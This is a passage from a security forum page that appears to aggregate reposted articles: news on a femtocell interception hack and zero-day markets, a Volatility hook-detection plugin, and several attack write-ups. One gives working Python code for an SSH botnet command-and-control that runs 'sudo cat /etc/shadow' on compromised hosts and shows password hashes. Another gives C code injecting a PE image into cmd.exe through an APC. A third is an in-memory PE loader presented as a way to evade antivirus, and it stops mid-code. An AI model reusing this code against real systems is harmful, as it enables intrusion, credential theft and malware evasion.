0; } .superman .arm, .superman .arm-left:after, .superman .arm-left:before, .superman .arm-right:after { background: blue; background: -webkit-linear-gradient(left, #222 67%,#115278 100%); box-shadow: inset 0 10px 10px 3px #000; } .super-pants { width: 180px; height: 130px; margin: 0 auto; position: relative; z-index: 2; top: -188px; overflow: hidden; border-radius: 2px 2px 25px 25px; background: blue; visibility: hidden; background: -webkit-linear-gradient(right, #222 67%,#115278 100%); background: -moz-linear-gradient(right, #222 67%,#115278 100%); box-shadow: inset -1px -10px 10px 2px #1a364d, 0 0 2px 2px #2e5f88; } .symbol { width: 100px; height: 100px; position: relative; top: -30px; left: 52px; z-index: 1; overflow: hidden; background: red; box-shadow: 1px 1px 5px 4px red, inset 0 0 6px 3px #222, inset 1px -10px 12px 1px #444, inset 4px 0 4px 1px #FFF; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); } .s-first-part { width: 100px; height: 20px; z-index: 2; background: yellow; position: relative; border: 1px solid #000; border-radius: 20px 0 0 100px; top: 26px; left: 14px; box-shadow: inset -1px 0 10px 4px #111, 1px 1px 14px 1px #000; -webkit-transform: rotate(-45deg); -moz-transform: rotate(-45deg); -ms-transform: rotate(-45deg); -o-transform: rotate(-45deg); transform: rotate(-45deg); } .s-second-part { width: 60px; height: 20px; z-index: 2; background: yellow; position: relative; border: 1px solid #000; border-radius: 5px 20px 100px 10px; top: 55px; left: 35px; box-shadow: inset 3px 0 10px 4px #111, 1px 1px 14px 1px #000; -webkit-transform: rotate(-45deg); -moz-transform: ; -ms-transform: ; -o-transform: ; transform: ; } .superman .pants { visibility: hidden; } .superman .super-pants { visibility: visible; } /* Eyes Animation */ @-webkit-keyframes eyes { 0%, 100% { background:#fcda6d; border: none; box-shadow: 0 0 0 #fff; } 15%, 95% { background:#fff; box-shadow: inset 0 0 3px 1px #CCC; } } @-moz-keyframes eyes { 0%, 100% { background:#fcda6d; border: none; box-shadow: 0 0 0 #fff; } 15%, 95% { background:#fff; box-shadow: inset 0 0 3px 1px #CCC; } } @-o-keyframes eyes { 0%, 100% { background:#fcda6d; border: none; box-shadow: 0 0 0 #fff; } 15%, 95% { background:#fff; box-shadow: inset 0 0 3px 1px #CCC; } } @-ms-keyframes eyes { 0%, 100% { background:#fcda6d; border: none; box-shadow: 0 0 0 #fff; } 15%, 95% { background:#fff; box-shadow: inset 0 0 3px 1px #CCC; } } @keyframes eyes { 0%, 100% { background:#fcda6d; border: none; border-bottom: 1ox solid #222; box-shadow: 0 0 0 #fff; } 15%, 95% { background:#fff; box-shadow: inset 0 0 3px 1px #CCC; } } /* Iris Animation */ @-webkit-keyframes iris { 0%, 100% { opacity: 0; } 15%, 95% { opacity: 1; } } @-moz-keyframes iris { 0%, 100% { opacity: 0; } 15%, 95% { opacity: 1; } } @-o-keyframes iris { 0%, 100% { opacity: 0; } 15%, 95% { opacity: 1; } } @-ms-keyframes iris { 0%, 100% { opacity: 0; } 15%, 95% { opacity: 1; } } @keyframes iris { 0%, 100% { opacity: 0; } 15%, 95% { opacity: 1; } } /* Mouth Animation */ @-webkit-keyframes mouth { 0%, 100% { top: -20px; } 15%, 95% { top: -7px; } } @-moz-keyframes mouth { 0%, 100% { top: -20px; } 15%, 95% { top: -7px; } } @-o-keyframes mouth { 0%, 100% { top: -20px; } 15%, 95% { top: -7px; } } @-ms-keyframes mouth { 0%, 100% { top: -20px; } 15%, 95% { top: -7px; } } @keyframes mouth { 0%, 100% { top: 0px; } 15%, 95% { top: -35px; } } /** * Js event handler to change between Clark and Superman modes. * * @author Ezequiel Calvo <ezecafre@gmail.com> * Follow me @EzequielCalvo * Hashtag #CSSDrawing #Minion */ $('.btn').on('click', function() { $('#target').toggleClass('superman'); }); Sursa: Pure CSS Minion (Superman Mode) | CSSDeck
  14. [h=1]Coedbraking…[/h] According to the Daily Mail the UK’s NSA-equivalent (approximately), GCHQ, has said that many of its codebreakers are dyslexic. You (or those of us living in this sceptred isle (This blessed plot, this earth, this realm, this England…) may or may not find this reassuring. It probably explains why crypto is one of my weaker areas, technically. This may well be the only time I ever link to the Daily Mail in a blog… David Harley CITP FBCS CISSP Small Blue-Green World ESET Senior Research Fellow Sursa: Coedbraking… | Dataholics: the IT addiction
  15. [h=3]Hackers turn Verizon signal booster into a mobile hacking machine[/h] A group of hackers from security firm iSEC found a way to tap right into verizon wireless cell phones using a signal-boosting devices made by Samsung for Verizon and cost about $250. They hack Verizon's signal-boosting devices, known as femtocells or network extenders, which anyone can buy online, and turned it into a cell phone tower small enough to fit inside a backpack capable of capturing and intercepting all calls, text messages and data sent by mobile devices within range. "This is not about how the NSA would attack ordinary people. This is about how ordinary people would attack ordinary people," said Tom Ritter, a senior consultant, iSEC. They declined to disclose how they had modified the software on the device and but they plan to give more elaborate demonstrations in various hacking conferences this year. http://www.youtube.com/watch?feature=player_embedded&v=9nEOsjjhZPg Verizon Wireless already released a Linux software update in March to fix the flaw that prevents its network extenders from being compromised in the manner reported by Ritter and DePerry. They claimed that, with a little more work, they could have weaponized it for stealth attacks by packaging all equipment needed for a surveillance operation into a backpack that could be dropped near a target they wanted to monitor. This particular femtocell taps into Verizon phones. However, they believes it might be possible to find a similar problem with femtocells that work with other providers. Sursa: Hackers turn Verizon signal booster into a mobile hacking machine - The Hacker News
  16. [h=3]Building an SSH Botnet C&C Using Python and Fabric[/h] Introduction Disclaimer: I suppose it would be wise to put a disclaimer on this post. Compromising hosts to create a botnet without authorization is illegal, and not encouraged in any way. This post simply aims to show security professionals how attackers could use standard IT automation tools for a purpose in which they were not originally intended. Therefore, the content is meant for educational purposes only. System administrators often need to perform the same (or similar) tasks across a multitude of hosts. Doing this manually is unreasonable, so solutions have been created to help automate the process. While these solutions can be a life-saver to many, let's look at them in a different light. In this post, we'll explore how easy it would be for an attacker to use one of these solutions, a popular Python library called Fabric, to quickly create a command and control (C&C) application that can manage a multitude of infected hosts over SSH. Fabric Basics Fabric's documentation describes it as a "library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks." Using the popular Paramiko Python library to manage it's SSH connections, Fabric provides programmers with an easy-to-use API to run sequential or parallel tasks across many machines. Before building a C&C application, let's explore some of the basics of Fabric (a full tutorial can be found here). The "fab" Command-line Tool While we won't be using it much in this post, I don't feel a post about Fabric would be complete without mentioning the "fab" tool. Usually, sysadmins only need to setup predefined commands (called "tasks") to be run on multiple hosts. With this being the case, the standard application of Fabric is as follows: Create a "fabfile" (more on this later) Use the fab tool to execute tasks defined in the fabfile on selected hosts While this allows us to run a predefined set of commands, this isn't helpful if we want an interactive framework. The solution to this is found in the Fabric documentation: The fab tool simply imports your fabfile and executes the function or functions you instruct it to. There’s nothing magic about it – anything you can do in a normal Python script can be done in a fabfile! This means that we can execute any task in our fabfile without needing to go through the fab command line tool. This is helpful, since we can create an interactive management wrapper to perform tasks on a dynamic list of hosts as we choose. But first, we need to address the obvious: what is a fabfile? Fabfiles In a nutshell, a fabfile is simply a file containing functions and commands that incorporate Fabric's API. These functions can be found in the fabric.api namespace. It's important to remember our note above which says that a fabfile is just Python - nothing special. So, with that brief intro, let's dive into the Fabric API to see how we can use the provided functions to build an SSH C&C: Building the C&C Let's assume an attacker managed to compromise numerous hosts, either using SSH, or via other means and now has SSH access to them. Let's also assume that credentials to these hosts are stored in a file with the following format: username@hostname:port password The example for this post will be as follows: root@192.168.56.101:22 toor root@192.168.56.102:22 toor It is important to note that Fabric tries to automatically detect the type of authentication needed (password or passphrase for private key). Therefore, if the passwords stored in the credentials file are for private keys, they should work seamlessly. Now that we have our credentials, let's consider what functions we will create. For the sake of this post, let's implement the following: Status check to see which hosts are running Run a supplied command on multiple selected hosts Create an interactive shell session with a host To start, we will import all members of the fabric.api namespace: [/font]from fabric.api import *Next, we will use two of Fabric's environment variables, env.hosts and env.passwords, to manage our host connections. "Env.hosts" is a list we can use to manage our master host list, and env.passwords is a mapping between host strings and passwords to be used. This prevents us from having to enter the passwords upon each new connection. Let's read all the hosts and passwords from the credentials file and put them into the variables: [/font]for line in open('creds.txt','r').readlines():host, passw = line.split() env.hosts.append(host) env.passwords[host] = passw Now for the fun part - running commands. There are 6 types of command-execution functions that can we should consider: run(command) - Run a shell command on a remote host.sudo(comand) - Run a shell command on a remote host, with superuser privileges.local(command) - Run a command on the local system.open_shell() - Opens an interactive shell on the remote systemget(remote_path, local_path) - Download one or more files from a remote host.put(local_path, remote_path) - Upload one or more files to a remote host. Let's see how we can use these commands. First, let's create a function that takes in a command string, and execute the command using Fabric's "run" or "sudo" command as needed: def run_command(command):try: with hide('running', 'stdout', 'stderr'): if command.strip()[0:5] == "sudo": results = sudo(command) else: results = run(command) except: results = 'Error' return results Now, let's create a task that will use our run_command function to see which hosts are up and running. We will do this by executing the command uptime on the hosts. [/font]def check_hosts():''' Checks each host to see if it's running ''' for host, result in execute(run_command, "uptime", hosts=env.hosts).iteritems(): running_hosts[host] = result if result.succeeded else "Host Down" For the other tasks, we will want to dynamically select which hosts we want to run a given command on, or establish a shell session to. We can do this by creating a menu, and then executing these tasks with a specific list of hosts using Fabric's execute function. Here's what this looks like: def get_hosts():selected_hosts = [] for host in raw_input("Hosts (eg: 0 1): ").split(): selected_hosts.append(env.hosts[int(host)]) return selected_hosts def menu(): for num, desc in enumerate(["List Hosts", "Run Command", "Open Shell", "Exit"]): print "[" + str(num) + "] " + desc choice = int(raw_input('\n' + PROMPT)) while (choice != 3): list_hosts() # If we choose to run a command if choice == 1: cmd = raw_input("Command: ") # Execute the "run_command" task with the given command on the selected hosts for host, result in execute(run_command, cmd, hosts=get_hosts()).iteritems(): print "[" + host + "]: " + cmd print ('-' * 80) + '\n' + result + '\n' # If we choose to open a shell elif choice == 2: host = int(raw_input("Host: ")) execute(open_shell, host=env.hosts[host]) for num, desc in enumerate(["List Hosts", "Run Command", "Open Shell", "Exit"]): print "[" + str(num) + "] " + desc choice = int(raw_input('\n' + PROMPT)) if __name__ == "__main__": fill_hosts() check_hosts() menu() I should note that I left out a task to put a file onto the remote host, since this can be easily done from the command line (though a task for this could be made easily). Let's see what our application looks like in action: C:\>python fabfile.py [root@192.168.56.101:22] Executing task 'run_command' [root@192.168.56.102:22] Executing task 'run_command' [0] List Hosts [1] Run Command [2] Open Shell [3] Exit fabric $ 1 ID | Host | Status ---------------------------------------- 0 | root@192.168.56.101:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05 1 | root@192.168.56.102:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05 Command: sudo cat /etc/shadow Hosts (eg: 0 1): 0 1 [root@192.168.56.101:22] Executing task 'run_command' [root@192.168.56.102:22] Executing task 'run_command' [root@192.168.56.101:22]: sudo cat /etc/shadow -------------------------------------------------------------------------------- root:$6$jcs.3tzd$aIZHimcDCgr6rhXaaHKYtogVYgrTak8I/EwpUSKrf8cbSczJ3E7TBqqPJN2Xb.8UgKbKyuaqb78bJ8lTWVEP7/:15639:0:99999:7::: daemon:x:15639:0:99999:7::: bin:x:15639:0:99999:7::: sys:x:15639:0:99999:7::: sync:x:15639:0:99999:7::: games:x:15639:0:99999:7::: man:x:15639:0:99999:7::: lp:x:15639:0:99999:7::: <snip> [root@192.168.56.102:22]: sudo cat /etc/shadow -------------------------------------------------------------------------------- root:$6$27N90zvh$scsS8shKQKRgubPBFAcGcbIFlYlImYGQpGex.sd/g3UvbwQe5A/aW2sGvOsto09SQBzFF5ZjHuEJmV5GFr0Z0.:15779:0:99999:7::: daemon:*:15775:0:99999:7::: bin:*:15775:0:99999:7::: sys:*:15775:0:99999:7::: sync:*:15775:0:99999:7::: games:*:15775:0:99999:7::: man:*:15775:0:99999:7::: <snip> [0] List Hosts [1] Run Command [2] Open Shell [3] Exit fabric $ 2 ID | Host | Status ---------------------------------------- 0 | root@192.168.56.101:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05 1 | root@192.168.56.102:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05 Host: 1 [root@192.168.56.102:22] Executing task 'open_shell' Last login: Wed Jul 3 07:27:44 2013 from 192.168.56.1 root@kali:~# whoami root root@kali:~# exit logout [0] List Hosts [1] Run Command [2] Open Shell [3] Exit fabric $ 3 Great! It looks like we were able to successfully control all of the machines we had access to. It's important to note that there is so much more we can do with Fabric to help facilitate the host management. Here are just a few examples: By adding the @parallel decorator before our tasks, our tasks will run in parallel (Note: this won't work in Windows). Fabric also allows us to create groups (called roles). We could use these roles to create groups based on location, functionality, etc. Since our fabfile is just Python, we can extend it to use any functionality we want. For example, we could easily create a web interface to this using Flask or Django Conclusion The goal of this post was to give a practical example showing how attackers could use high-quality network management products in ways they weren't intended to be used. It's important to note that this same functionality could extend to any other IT automation solution such as Chef, Puppet, or Ansible. As always, feel free to leave questions and comments below. - Jordan Posted by Jordan Sursa: RaiderSec: Building an SSH Botnet C&C Using Python and Fabric
  17. Back to Defense: Finding Hooks in OS X with Volatility Summary In my previous post I discussed how to mess with the OS X syscall table through direct syscall table modification, syscall function inlining, and patching the syscall handler. As I promised, I'll be providing a plugin to find the mess! The code for the check_hooks plugin can be found at github and it incorporates existing detections for the sake of completeness. So let's go through the scenarios discussed earlier. Syscall Interception by Directly Modifying the Syscall Table - Replacing a Syscall with Another Syscall Detecting a duplicate syscall entry is straight forward: keep track of the syscalls as they are listed and see if a duplicate appears. The example I'll be using is discussed in my previous post, which was replacing the setuid function with the exit function: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Duplicate syscall function detection[/TD] [/TR] [/TABLE] - Replacing a Syscall with a DTrace hook This one is an easy catch as well. I just check the syscall name to if contains the word 'dtrace' to detect syscall and mach_trap DTrace hooks. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]DTrace syscall hooking detection[/TD] [/TR] [/TABLE] - Replacing a Syscall with an External Function For this case I'll be using a Rubilyn infected memory sample provided by @osxreverser, which can be found here. This is not a new detection, but it's included for the sake of completeness. As a new feature to this detection, I've included the hooks destination kext in the output (check_hooks/findKextWithAddress function). As pointed out in the Volatility Blog, this rootkit hooks three functions: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Rubilyn hook detection[/TD] [/TR] [/TABLE] Syscall Function Interception or Inlining Currently it is not possible to detect an inlined syscall function with the Mac side of the Volatility Framework because it only checks for the direct modification of the syscall table. To be able to detect function inlining, I applied two techniques: Check the function's prologue for modification, which will be useful later as well Check for the function's flow control Looking at the syscall function prologues, it can be seen that they contain the following: For x86: PUSH RBP MOV EBP, ESP For x64: PUSH RBP MOV RBP, RSP The volshell script I used to see this is below: #get sysent addresses for exit and setuidnsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace) sysents = obj.Object(theType = "Array", offset = self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent, targetType = "sysent") for (i, sysent) in enumerate(sysents): tgt_addr = sysent.sy_call.v() print self.addrspace.profile.get_symbol_by_address("kernel", tgt_addr) buf = self.addrspace.read(tgt_addr, 4) for op in distorm3.Decompose(tgt_addr, buf, distorm3.Decode64Bits): print op The check_hooks/isPrologInlined function checks to see if the prologue conforms with these known instructions. The check_hooks/isInlined function, on the other hand, looks for calls, jumps or push/ret instructions that end up outside the kernel address space. If we use the check_hooks plugin on a memory sample with the inlined setuid syscall function that trampolines into the exit syscall function we get the following: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Inlinded Function (setuid) Detection[/TD] [/TR] [/TABLE] This example is interesting because it wouldn't be picked up by the isInlined function since the hook is within the kernel address space, but luckily I'm checking for function prologue modification, which flagged it. Another example of syscall inline hooking is DTrace fbt hooking, which modifies the hooked function's prologue. The check_hooks plugin will detect the DTrace fbt probe that is monitoring the getdirentries64 syscall function as well: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]DTrace fbt probe detection[/TD] [/TR] [/TABLE] Patched Syscall Handler or Shadow Syscall Table The shadowing of the syscall table is a technique that hides the attacker's modifications to the syscall table by creating a copy of it to modify and by keeping the original untouched as discussed in my previous post. The detection implemented in the check_hooks/isSyscallShadowed function works as follows: Check functions known to have references to the syscall table. In this case the functions are unix_syscall_return, unix_syscall64, unix_syscall. Disassemble them to find the syscall table references. Obtain the references in the function and compare to the address in the symbols table. After running the attack code sample for the shadow syscall table attack, I ran the check_hooks plugin against the memory sample and received the following output that included hits for the shadow syscall table: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Shadow syscall table detection[/TD] [/TR] [/TABLE] It looks like I have covered the detection of the examples in my previous post, but I'm not done! Bonus! Scanning Functions in Kernel/Kext Symbol Tables Now that I have the tools to detect function modifications, I decided to check on the functions in the rest of the kernel and kernel extensions. To be able to accomplish this task, I had to obtain the list of symbols per kernel or kext since the Volatility Framework is currently not able to list kernel or kext symbols from a memory sample. I followed these steps in the check_hooks/getKextSymbols function: Get the Mach-o header (e.g. mach_header_64) to get the start of segments. Locate the __LINKEDIT segment to get the address for the list of symbols represented as nlist_64 structs, symbols file size and offsets. Locate the the segment with the LC_SYMTAB command to get the symbols and strings offsets, which will be used to... Calculate the location of the symbols in __LINKEDIT. Once we know the exact address, loop through the nlist structs to get the symbols. Also find the number of the __TEXT segment's __text section number, which will be used to filter out symbols. According to Apple's documentation the compiler places only executable code in this section. The nlist structs have a member called n_sect, which stores the section number that the symbol's code lives in. This value, in conjunction with the __text section's number helped in narrowing down the list of symbols to mostly functions' symbols. I say mostly because I have seen structures, such as _mh_execute_header still listed. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Some test output for kernel symbols[/TD] [/TR] [/TABLE] Next step is to use the addresses obtained form the filtered symbols table to check for hooks. Quick note, while syscall functions had identical function prologues, other functions in the symbols table, such as bcopy, have different ones. Therefore, using the isPrologInlined function produces false positives, which left me with using the isInlined function to detect hooks. My target for this case is an OS X 10.8.3 VM running Hydra, a kernel extension that intercepts a process's creation, suspends it, and communicates it to a userland daemon, which was written by @osxreverser. Hydra inline hooks the function proc_resetregister in order to achieve its first goal. After compiling and loading the kext, I ran the check_hooks plugin with the -K option to only scan the kernel to see what's detected: As seen in the screenshot, the plugin detects the function proc_resetregister as inline hooked and shows that the destination of the hook is in the 'put.as.hydra' kext. The other plugin specific option -X will scan all kexts' symbols, if available, for hooking. Note: Most testing was performed on OS X 10.7.5 x64 and 10.8.3 x64. Feedback about outcomes on other OS X versions would be appreciated. Conclusion With the check_hooks plugin, now it's possible to detect hooked functions in the syscall table and kext symbols besides a shadow syscall table. While this is great, it doesn't end here. In my next post I'll be exploring OS X IDT hooks so stay tuned! Posted by siliconblade at 10:20 PM Sursa: What's in your silicon?: Back to Defense: Finding Hooks in OS X with Volatility
  18. [h=1]Governments are Big Buyers of Zero-Day Flaws[/h] 15 July 2013 [h=2]The extent and sophistication of the market for zero-day vulnerabilities is becoming better understood. It appears that governments – especially the US, UK, Israel, Russia, India and Brazil – are among the biggest customers.[/h] A new report in the New York Times describes the market for zero-day flaws. "On the tiny Mediterranean island of Malta, two Italian hackers have been searching for bugs... secret flaws in computer code that governments pay hundreds of thousands of dollars to learn about and exploit." The hackers in question run the company known as Revuln, and like France-based Vupen, it finds or acquires zero-day vulnerabilities that it can sell on to the highest bidder. Vupen charges its customers an annual subscription fee of $100,000 merely to see its catalog of flaws – and then charges extra for each vulnerability. At these prices, it is unsurprising that the buyer is usually a government agency. As Graham Cluley comments, "The truth is that the likes of Google and Microsoft are never likely to be able to pay as much for a security vulnerability as the US or Chinese intelligence agencies." Although Microsoft has recently introduced a maximum bug bounty of $150,000, it pales into insignificance in the face of the reputed $500,000 paid for an iOS bug. Revuln's work has long been known. The Q4 2012 ICS-CERT Monitor warned, "Malta-based security start-up firm ReVuln claims to be sitting on a stockpile of vulnerabilities in industrial control software, but prefers to sell the information to governments and other paying customers instead of disclosing it to the affected software vendors." ICS vulnerabilities are precisely those needed by states to protect their own or attack foreign critical infrastructures. Last week, Der Spiegel published details of an email interview between Jacob Appelbaum and Edward Snowden. Snowden confirmed that Stuxnet had been jointly developed by the US and Israel. There is no information on whether the zero-days in Stuxnet were discovered or bought, but nevertheless ACLU policy analyst Christopher Soghoian blames Stuxnet for the success of companies like Vupen and Revuln. The knowledge that military organizations are interested in and use zero-day flaws "showed the world what was possible," explains the Times. "It also became a catalyst for a cyberarms race." The military establishment, said Soghoian, “created Frankenstein by feeding the market.” The problem now is that no-one knows how big or scary this Frankenstein might become. Is there a danger, for example, that developers could be persuaded to build in backdoors that they can later sell? Jeremiah Grossman, Founder and CTO of WhiteHat Security thinks this is a possibility. "As 0-days go for six to seven figures, imagine the temptation for rogue developers to surreptitiously implant bugs in the software supply chain," he commented. "It's hard enough to find vulnerabilities in source code when developers are not purposely trying to hide them." This is a problem that is not going away. "Vulnerability is a function of complexity, and as operating systems and source code continually trend to more complexity, so does the scope for vulnerabilities and exploits," said Adrian Culley, a consultant with Damballa (and a former Scotland Yard detective) to Infosecurity. "All code is dual use. The reality is there is now a free market; and to coin a trite cliche, the lid is off off Pandora's box." Sursa: Infosecurity - Governments are Big Buyers of Zero-Day Flaws
  19. [h=1]Self-deleting executable[/h]by [h=3]zwclose7[/h]This is another example of PE injection. This program will create a suspended cmd.exe process, and then inject the executable image into to the child process. An user mode APC is then queued to the child process's primary thread. Finally, the thread is resumed and the injected code is executed. The injected code calls DeleteFile function to delete the original executable file. 1) Get the PE header of the program using RtlImageNtHeader. 2) Create a suspended cmd.exe using CreateProcess function. 3) Allocate executable memory in the child process. 4) Relocate the executable image, and then write it to the child process using NtWriteVirtualMemory function. 5) Queue an user mode APC to the child process's primary thread. 6) Resume the primary thread using NtResumeThread function. 7) The primary thread executes the injected code. 8) The injected code calls DeleteFile function to delete the original executable file. 9) The injected code calls ExitProcess function to terminate the cmd.exe process. #include <Windows.h>#include <winternl.h> #pragma comment(lib,"ntdll.lib") EXTERN_C PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader(PVOID); EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG); EXTERN_C NTSTATUS NTAPI NtResumeThread(HANDLE,PULONG); EXTERN_C NTSTATUS NTAPI NtTerminateProcess(HANDLE,NTSTATUS); char szFileName[260]; void WINAPI ThreadProc() { while(1) { Sleep(1000); if(DeleteFile(szFileName)) { break; } } ExitProcess(0); } int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR lpCmdLine,int nCmdShow) { PIMAGE_NT_HEADERS pINH; PIMAGE_DATA_DIRECTORY pIDD; PIMAGE_BASE_RELOCATION pIBR; HMODULE hModule; PVOID image,mem,StartAddress; DWORD i,count,nSizeOfImage; DWORD_PTR delta,OldDelta; LPWORD list; PDWORD_PTR p; STARTUPINFO si; PROCESS_INFORMATION pi; GetModuleFileName(NULL,szFileName,260); hModule=GetModuleHandle(NULL); pINH=RtlImageNtHeader(hModule); nSizeOfImage=pINH->OptionalHeader.SizeOfImage; memset(&si,0,sizeof(si)); memset(?,0,sizeof(pi)); if(!CreateProcess(NULL,"cmd.exe",NULL,NULL,FALSE,CREATE_SUSPENDED|CREATE_NO_WINDOW,NULL,NULL,&si,?)) { return 1; } mem=VirtualAllocEx(pi.hProcess,NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(mem==NULL) { NtTerminateProcess(pi.hProcess,0); return 1; } image=VirtualAlloc(NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); memcpy(image,hModule,nSizeOfImage); pIDD=&pINH->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_BASERELOC]; pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)image+pIDD->VirtualAddress); delta=(DWORD_PTR)((LPBYTE)mem-pINH->OptionalHeader.ImageBase); OldDelta=(DWORD_PTR)((LPBYTE)hModule-pINH->OptionalHeader.ImageBase); while(pIBR->VirtualAddress!=0) { if(pIBR->SizeOfBlock>=sizeof(IMAGE_BASE_RELOCATION)) { count=(pIBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(WORD); list=(LPWORD)((LPBYTE)pIBR+sizeof(IMAGE_BASE_RELOCATION)); for(i=0;i<count;i++) { if(list>0) { p=(PDWORD_PTR)((LPBYTE)image+(pIBR->VirtualAddress+(0x0fff & (list)))); *p-=OldDelta; *p+=delta; } } } pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR+pIBR->SizeOfBlock); } if(!NT_SUCCESS(NtWriteVirtualMemory(pi.hProcess,mem,image,nSizeOfImage,NULL))) { NtTerminateProcess(pi.hProcess,0); return 1; } StartAddress=(PVOID)((LPBYTE)mem+(DWORD_PTR)(LPBYTE)ThreadProc-(LPBYTE)hModule); if(!QueueUserAPC((PAPCFUNC)StartAddress,pi.hThread,0)) { NtTerminateProcess(pi.hProcess,0); return 1; } NtResumeThread(pi.hThread,NULL); NtClose(pi.hThread); NtClose(pi.hProcess); VirtualFree(image,0,MEM_RELEASE); return 0; } [h=4]Attached Files[/h] selfdel.zip 272.35K 6 downloads Sursa: Self-deleting executable - rohitab.com - Forums
      • 1
      • Upvote
  20. [h=1]Execute PE file on virtual memory[/h]by [h=3]shebaw[/h]Hi everyone. I've been reversing some malware like ramnit and I noticed that they contain most of their codes in embedded executable programs and proceed to execute the program as if it's part of the parent program. This is different from process forking method since that creates a new process while this one just calls into the embedded program as if it's one of it's own function (well almost ). So here is a code I came up with that does just that. What it basically does is, it first maps the executable's different sections on to an executable memory region, it then imports and builds the IAT of the executable and finally performs relocation fix-ups and transfers control to the entry point of the executable after setting up ebx to point to PEB and eax to the EP. Since you can't always allocate on the preferred base address of the executable, relocation table is a MUST. This won't work on executables without relocation tables but that shouldn't matter if you are trying to obfuscate your own code since you can tell the compiler to include relocation tables when you recompile it. You can use this method as another layer of protection from AVs. #include <Windows.h>#include <string.h> #include <stdio.h> #include <tchar.h> #include "mem_map.h" HMODULE load_dll(const char *dll_name) { HMODULE module; module = GetModuleHandle(dll_name); if (!module) module = LoadLibrary(dll_name); return module; } void *get_proc_address(HMODULE module, const char *proc_name) { char *modb = (char *)module; IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)modb; IMAGE_NT_HEADERS *nt_headers = (IMAGE_NT_HEADERS *)(modb + dos_header->e_lfanew); IMAGE_OPTIONAL_HEADER *opt_header = &nt_headers->OptionalHeader; IMAGE_DATA_DIRECTORY *exp_entry = (IMAGE_DATA_DIRECTORY *) (&opt_header->DataDirectory[iMAGE_DIRECTORY_ENTRY_EXPORT]); IMAGE_EXPORT_DIRECTORY *exp_dir = (IMAGE_EXPORT_DIRECTORY *)(modb + exp_entry->VirtualAddress); void **func_table = (void **)(modb + exp_dir->AddressOfFunctions); WORD *ord_table = (WORD *)(modb + exp_dir->AddressOfNameOrdinals); char **name_table = (char **)(modb + exp_dir->AddressOfNames); void *address = NULL; DWORD i; /* is ordinal? */ if (((DWORD)proc_name >> 16) == 0) { WORD ordinal = LOWORD(proc_name); DWORD ord_base = exp_dir->Base; /* is valid ordinal? */ if (ordinal < ord_base || ordinal > ord_base + exp_dir->NumberOfFunctions) return NULL; /* taking ordinal base into consideration */ address = (void *)(modb + (DWORD)func_table[ordinal - ord_base]); } else { /* import by name */ for (i = 0; i < exp_dir->NumberOfNames; i++) { /* name table pointers are rvas */ if (strcmp(proc_name, modb + (DWORD)name_table) == 0) address = (void *)(modb + (DWORD)func_table[ord_table]); } } /* is forwarded? */ if ((char *)address >= (char *)exp_dir && (char *)address < (char *)exp_dir + exp_entry->Size) { char *dll_name, *func_name; HMODULE frwd_module; dll_name = strdup((char *)address); if (!dll_name) return NULL; address = NULL; func_name = strchr(dll_name, '.'); *func_name++ = 0; if (frwd_module = load_dll(dll_name)) address = get_proc_address(frwd_module, func_name); free(dll_name); } return address; } #define MAKE_ORDINAL(val) (val & 0xffff) int load_imports(IMAGE_IMPORT_DESCRIPTOR *imp_desc, void *load_address) { while (imp_desc->Name || imp_desc->TimeDateStamp) { IMAGE_THUNK_DATA *name_table, *address_table, *thunk; char *dll_name = (char *)load_address + imp_desc->Name; HMODULE module; module = load_dll(dll_name); if (!module) { printf("error loading %s\n", dll_name); return 0; } name_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->OriginalFirstThunk); address_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->FirstThunk); /* if there is no name table, use address table */ thunk = name_table == load_address ? address_table : name_table; if (thunk == load_address) return 0; while (thunk->u1.AddressOfData) { unsigned char *func_name; /* is ordinal? */ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal); else func_name = ((IMAGE_IMPORT_BY_NAME *)((char *)load_address + thunk->u1.AddressOfData))->Name; /* address_table->u1.Function = (DWORD)GetProcAddress(module, (char *)func_name); */ address_table->u1.Function = (DWORD)get_proc_address(module, (char *)func_name); thunk++; address_table++; } imp_desc++; } return 1; } void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size, DWORD new_imgbase, DWORD old_imgbase) { IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end; DWORD delta = new_imgbase 